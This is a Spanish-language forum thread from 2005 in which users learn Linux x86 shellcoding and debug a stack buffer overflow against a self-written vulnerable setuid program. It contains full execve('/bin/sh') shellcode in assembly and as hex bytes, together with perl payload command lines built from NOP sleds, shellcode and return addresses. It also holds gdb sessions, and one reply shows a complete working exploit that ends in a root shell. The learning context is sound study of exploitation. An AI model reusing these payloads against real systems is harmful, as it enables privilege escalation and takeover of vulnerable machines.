Tema destacado: Recuperar cuenta de Google, GMail, Youtube
 Autor
|
Tema: Mis dudas en shellcoding (Leído 2,505 veces)
|
|
Paisterist
|
Les parece medio egocéntrico, pero creo que le servirá de mucho a otros esto.
Bien, en primer lugar estoy viendo le tuto de shellcodes sobre linux por Raise y tengo la siguiente shellcode:
jmp 0x1f
popl %esi
xorl %eax,%eax
movb %al,0x7(%esi)
movl %esi,0x8(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %eax,%eax
xorl %ebx,%ebx
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"
En primer lugar, no entiendo por qué hace movb $0xb, %al. Es decir, estáusando movb (1 byte) para mover 2 bytes y no tiene sentido. Otra pregutna es por qué no usa el registro %eax, si es el que siempre se usa para pasar el nombre de las syscalls.
El método de jmp call lo entendí pero me quedó una duda que creo que la entendí. ¿La dirección del string /bin/sh la copia en %esi verdad?.
Bueno, saludos y gracias por la ayuda de ustedes.
|
|
|
|
|
En línea
|
 Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más. |
|
|
|
heap
|
Hombre muchas preguntas en una semana de shellcoding, pero bueno es mejor que como compilar X exploit, tocara hacer una taller o algo  . Va haber pregunta first movb $0xb, %al Mira esta moviendo el numero 11 del syscal al registro al, de hecho este numero ocupa 1 byte, si usara eax, los 3 bytes restantes del registro de 32 bits, se llenarian de NULLs, o mejor dicho 0, asi al pasar el shellcode a un string, C pensaria que es el final del string al encontrarse \00 tiendes ? por ello usa al en este caso, todo depende de lo que quieras mover. La direccion del inicio del despues /sh se copia en esi, mira que le da un offset de 8, es decir /bin/shX ahi se cargaria la direccion de la X, solo cuanta que /bin/sh tiene 7 caracteres ... eso es para acabar el string luego . saludos |
|
|
|
|
En línea
|
|
|
|
|
Paisterist
|
pssss, lo de movb fue un descuido mío, lo pensé mal. Ahora bien, me surgió otra duda.
Después de pensar durante un largo tiempo entendí mucho más... Ahora bien, otra pregunta: eal 0x8(%esi),%ecx. ¿Cómo encuentra el fin del array de argumentos?, supongo que lo encuentra ya que a partir de unos 4 bytes más adelante se copia NULL a %edx.
Saludos
|
|
|
|
|
En línea
|
Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más. |
|
|
|
heap
|
pssss, lo de movb fue un descuido mío, lo pensé mal. Ahora bien, me surgió otra duda.
Después de pensar durante un largo tiempo entendí mucho más... Ahora bien, otra pregunta: eal 0x8(%esi),%ecx. ¿Cómo encuentra el fin del array de argumentos?, supongo que lo encuentra ya que a partir de unos 4 bytes más adelante se copia NULL a %edx.
Saludos
movb %al,0x7(%esi) movl %esi,0x8(%esi) movl %eax,0xc(%esi) 0xc - 0x7 = 0x5 5 bytes despues
|
|
|
|
|
En línea
|
|
|
|
|
Paisterist
|
Bueno, tengo el siguiente programa uqe ejecuta el code ASM pero al ejecutar el programa compilado me da violación de segmento.
#include <stdio.h>
int main() {
__asm__(
"jmp 0x24\n"
"popl %esi\n"
"xorl %eax, %eax\n"
"movb %al, 0x7(%esi)\n"
"movl %esi, 0x8(%esi)\n"
"movl %eax, 0xc(%esi)\n"
"movb $0xb, %al\n"
"movl %esi, %ebx\n"
"leal 0x8(%esi), %ecx\n"
"leal 0xc(%esi), %edx\n"
"int $0x80\n"
"xorl %eax, %eax\n"
"xorl %ebx, %ebx\n"
"inc %eax\n"
"int $0x80\n"
"call -0x1f\n"
".string \"/bin/sh\"");
return 0;
}
Para calcular la dirección a la que iría el jump y el call usé el gdb. Hice gdb shellcode y después disas main:
0x08048354 <main+0>: push %ebp
0x08048355 <main+1>: mov %esp,%ebp
0x08048357 <main+3>: sub $0x8,%esp
0x0804835a <main+6>: and $0xfffffff0,%esp
0x0804835d <main+9>: mov $0x0,%eax
0x08048362 <main+14>: sub %eax,%esp
0x08048364 <main+16>: jmp 0x24
0x08048369 <main+21>: pop %esi
0x0804836a <main+22>: xor %eax,%eax
0x0804836c <main+24>: mov %al,0x7(%esi)
0x0804836f <main+27>: mov %esi,0x8(%esi)
0x08048372 <main+30>: mov %eax,0xc(%esi)
0x08048375 <main+33>: mov $0xb,%al
0x08048377 <main+35>: mov %esi,%ebx
0x08048379 <main+37>: lea 0x8(%esi),%ecx
0x0804837c <main+40>: lea 0xc(%esi),%edx
0x0804837f <main+43>: int $0x80
0x08048381 <main+45>: xor %eax,%eax
0x08048383 <main+47>: xor %ebx,%ebx
0x08048385 <main+49>: inc %eax
0x08048386 <main+50>: int $0x80
0x08048388 <main+52>: call 0xffffffe1
---Type <return> to continue, or q <return> to quit---
0x0804838d <main+57>: das
0x0804838e <main+58>: bound %ebp,0x6e(%ecx)
0x08048391 <main+61>: das
0x08048392 <main+62>: jae 0x80483fc <__libc_csu_init+92>
0x08048394 <main+64>: add %bh,0x0(%eax)
0x0804839a <main+70>: leave
0x0804839b <main+71>: ret
0x0804839c <main+72>: nop
0x0804839d <main+73>: nop
0x0804839e <main+74>: nop
0x0804839f <main+75>: nop
Saludos
|
|
|
|
« Última modificación: 9 Febrero 2005, 08:23 por Paisterist »
|
En línea
|
Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más. |
|
|
|
heap
|
Ah no mames leer codigo asi me da una pereza increible, ahora toy cansado, si lo hubieras puesto etiquetas de code, y me hubieras mostrado la memoria luego del seg fault me queda mas facil, porque ponerme a compilar y rastrear me da pereza. Anda vuelvelo .asm usa nasm e intel (es mas limpio) luego si ma~ana te ayudo.
|
|
|
|
|
En línea
|
|
|
|
|
Paisterist
|
bueno, esto vendría a ser off topic... la cosa es así. Tengo el programa vuln con el siguiente código: #include <stdio.h> #include <stdlib.h> int main(int argc, char** argv[]) { if (argc!=2) { exit(0); } char buffer[1024]; strcpy(buffer, argv[1]); printf("%s\n", buffer); return 0; } Ahora bien, compilo. Hago sudo chown root.root ./vuln sudo chmod 4755 ./vuln Después de eso, exploto el programa de la siguiente forma (la shellcode da /bin/sh): ./vuln `perl -e 'print "\x90"x"967"; print "\xb0\x31\xcd\x80\x89\xc3\x31\xc0\xb0\x17\xcd\x80\x31\xdb\x31\xc0\xb0\x17 \xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07\xb0\x0b\ x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\x dc\xff\xff\xff/bin/sh"; print "\x70\xf2\xff\xbf"x"2"'` Tengo que llenar 1040 bytes para que se produeca el bof. Los primeros 967 se llenan con NOPS, los siguientes 65 con la shellcode y los 8 restantes los uso para llenar EBP e EIP. EStos últimos dos los lleno con una dirección de memoria que contiene un NOP para que el programa salte los nops hasta llegar a la shellcode. La dirección que uso (que contiene un NOP) es 0xbffff270, que la saqué con el gdb... Pero el problema es que no la shell, sino que no hace nada  . Espero que me puedan ayudar. Saludos |
|
|
|
|
En línea
|
Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más. |
|
|
|
heap
|
haber mi querido pastereist. Lo que dices que tiene que llenar a 1040 es dependiendo de tu compilador, si es un gcc reciente pues si 16 bytes de mas para llegar al return address.
Bueno, yo de ti meteria menos NOPS, unos 300 esta bien, y meteria mas return addresses repetidas no te parece ? quedaria
[300 NOPS] + [65 shellcode] + 170 dwords = 1045 , te pasas pero va no importa igual desde que se sobreescriba eip todo bien. Pero anda 1045 / 4 = 261.5 asi que quedaria desalineado, toes toca llegar a 1048 asi que mejor usa 303 NOPS, asi el exploit sera mas reliable.
Segunodo intenta incrementando los nops de 4 en 4 haber con cula truena, y usa GDB, imprime los registros siempre luego de la explotacion. Igual cerciorate de la direccion que andas usando, estas usando la direccion de la sima de el stack (pila) (esp) ?
Igual ademas mira que distro de linux usa, porque algunas recientes como fedora traen sistemas de proteccion del stack, y asi nunca sobreescribiras EIP, almenos no usando sobreescritura directa, si tienes stack shield o otra tendras que deshabilitarlo antes.
suertex
|
|
|
|
|
En línea
|
|
|
|
|
Paisterist
|
ahora uso knoppix  y creo que no tiene shield stack.. Hice las pruebas, defino a un puntero con gdb y hago un bucle que comienza en la dirección de esp que me dice direcciones con NOPS, es decir, direcciones que puedo usar como dirección de retorno para que el procesador salte eso y llegue a la shellcode. Cambié la cantidad de NOPS y la cantidad de veces que imprimo la dirección de retorno, pero nada :S Saludos |
|
|
|
« Última modificación: 9 Febrero 2005, 16:39 por Paisterist »
|
En línea
|
Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más. |
|
|
|
heap
|
Arranca el gdb, botale 1100 'perl -e `print... "A" x "1100"...
Luego dale info registers y me dices que te sale.
O sino solo ulimit -c unlimited
corrello igual dale 1100, te debe botar un core
dale gdb -c core pegame eso, y tambien dale i r .... asi te puedo ayudar...
|
|
|
|
|
En línea
|
|
|
|
|
Paisterist
|
las direcciones las sobreescribe... mira:
paisterist@box:~/shellcodes$ gdb vuln
GNU gdb 6.1-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) r `perl -e 'print "A"x"1100";'`
Starting program: /home/paisterist/shellcodes/vuln `perl -e 'print "A"x"1100";'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers
eax 0x0 0
ecx 0x4014ff80 1075117952
edx 0x44d 1101
ebx 0x40156570 1075144048
esp 0xbffff650 0xbffff650
ebp 0x41414141 0x41414141
esi 0x400164a0 1073833120
edi 0xbffff6a4 -1073744220
eip 0x41414141 0x41414141
eflags 0x210246 2163270
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb)
Saludos
|
|
|
|
|
En línea
|
Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más. |
|
|
|
Rojodos
|
Pero vamos a ver, si has visto que la shellcode no funciona, como pretendes que funcione en el programa vulnerable??? #include <stdio.h>
int main() {
__asm__(
"jmp 0x24\n"
"popl %esi\n"
"xorl %eax, %eax\n"
"movb %al, 0x7(%esi)\n"
"movl %esi, 0x8(%esi)\n"
"movl %eax, 0xc(%esi)\n"
"movb $0xb, %al\n"
"movl %esi, %ebx\n"
"leal 0x8(%esi), %ecx\n"
"leal 0xc(%esi), %edx\n"
"int $0x80\n"
"xorl %eax, %eax\n"
"xorl %ebx, %ebx\n"
"inc %eax\n"
"int $0x80\n"
"call -0x1f\n"
".string \"/bin/sh\"");
return 0;
} Al compilar y ejecutar este binario, te deberia cambiar a shell SH. Si no lo hace, la shellcode esta mal, mejor busca otra. Actualmente hay shellcodes mucho mas cortas que hacen un setreuid(0,0) y execv("/bin/sh") en muchos menos bytes. Mira otros post sobre shellcodes, o busca por ahi  Salu2 |
|
|
|
|
En línea
|
|
|
|
|
heap
|
linux:/home/daniel/vuln # chmod +s pastereist
linux:/home/daniel/vuln # su daniel
daniel@linux:~/vuln> ulimit -c unlimited
daniel@linux:~/vuln> ./pastereist `perl -e 'print "A"x"1040"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
daniel@linux:~/vuln> gdb -c core
GNU gdb 6.2.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-suse-linux".
Core was generated by `./pastereist AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) i r ebp eip
ebp 0x41414141 0x41414141
eip 0x41414141 0x41414141
(gdb) set $p=0xbffff000
(gdb) while(*$p!=0x41414141)
>set $p=$p+1
>end
(gdb) x/10x $p
0xbffff397: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff3a7: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff3b7: 0x41414141 0x41414141
(gdb) q
daniel@linux:~/vuln> ./pastereist `perl -e 'print "\x90"x"311"; print "\x31\xc0\xb0\x17\x31\xdb\xcd\x80\xeb\x16\x5b\x31\xc0\x89\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x41\x41\x41\x41\x41\x41\x41\x41";print "\xa7\xf3\xff\xbf" x 171 ;'`
101��[1 CC
S
�/bin/sh�����������������������������������������������������������
sh-3.00$ id
uid=0(root) gid=100(users) groups=16(dialout),33(video),100(users)
|
|
|
|
|
En línea
|
|
|
|
|
heap
|
Hmm no me funciono con la direccion del stack pointer, pues depronto hay un peque~o offset, asi que aplique otra tecnica de mi amigo dex, y busque el punto exacto donde mis 0x41414141 estaban, y use esa direccion mejor Smiley ahi pueden ver los pasos exactos que segui hasta explotar y lograr correr la shell.
suerte
//freakzoid
|
|
|
|
|
En línea
|
|
|
|
|
Paisterist
|
|
|
|
|
« Última modificación: 10 Febrero 2005, 15:19 por Paisterist »
|
En línea
|
Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más. |
|
|
|
 |
